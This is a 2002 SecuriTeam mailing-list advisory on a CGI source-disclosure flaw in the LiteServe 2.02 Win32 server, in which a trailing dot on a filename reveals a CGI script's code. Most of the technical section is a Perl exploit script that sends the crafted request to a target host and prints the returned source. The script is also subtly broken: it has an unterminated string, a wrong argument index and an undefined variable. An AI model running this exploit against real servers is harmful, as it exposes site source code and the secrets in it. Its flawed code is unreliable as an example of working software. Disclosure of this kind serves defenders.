[NT] Perception LiteServe HTTP CGI Disclosure Vulnerability

• Previous message: support@securiteam.com: "[UNIX] XOOPS RC3 WebChat Module SQL Injection"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

From: support@securiteam.com
To: list@securiteam.com
Date: 17 Nov 2002 19:12:29 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -

  Perception LiteServe HTTP CGI Disclosure Vulnerability
------------------------------------------------------------------------

SUMMARY

Christopher Fillion's "Perception" web site hosts the LiteServe
combination server for Win32. The server offers HTTP, FTP, SMTP, POP3, and
Telnet services. Included in the HTTP service is a Common Gateway
Interface (CGI) feature that allows you to specify a CGI alias, as well as
"filters" that are run when a file of a particular type is accessed.

DETAILS

A vulnerability in the server related to the handling of filenames on
Win32 platforms may reveal the code of a desired CGI script to an
attacker. Windows handles file names with the "." character (0x2E) on the
end as if the said character had been removed. LiteServe fails to
compensate for this behavior, and is vulnerable to a simple CGI disclosure
attack.

The upcoming release of LiteServe 2.03 should eliminate this
vulnerability.

Exploit:
#!/usr/bin/perl
#
# LS_FETCH.PL
# By Matthew Murphy
# LiteServe 2.02 and prior - CGI Disclosure
# Usage: perl ls_fetch.pl [filename] [host] [alias] [port]
use IO::Socket;
use URI::Escape;

$alias = "cgi-isapi"; # Default LiteServe CGI alias
$port = 80;
if (@ARGV < 2 || @ARGV > 4) {
print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80]
} else {
if (@ARGV >= 3) {
$alias = $ARGV[2];
}
if (@ARGV == 4) {
$port = $ARGV[3];
}
$filename = $ARGV[1];
$host = $ARGV[2];
$f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp");
$f->autoflush(1);
$b = sprintf("GET /%s/%s. HTTP/1.0\r\n\r\n", $alias, uri_escape($file));
print $f $b;
while (defined($line=<$f>)) {
print STDOUT $line;
}
undef $f;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:mattmurphy@kc.rr.com> Matt
Murphy.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Next message: support@securiteam.com: "[UNIX] Netscape/Mozilla Contains an Exploitable Heap Corruption via JAR URI Handler"
• Previous message: support@securiteam.com: "[UNIX] XOOPS RC3 WebChat Module SQL Injection"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]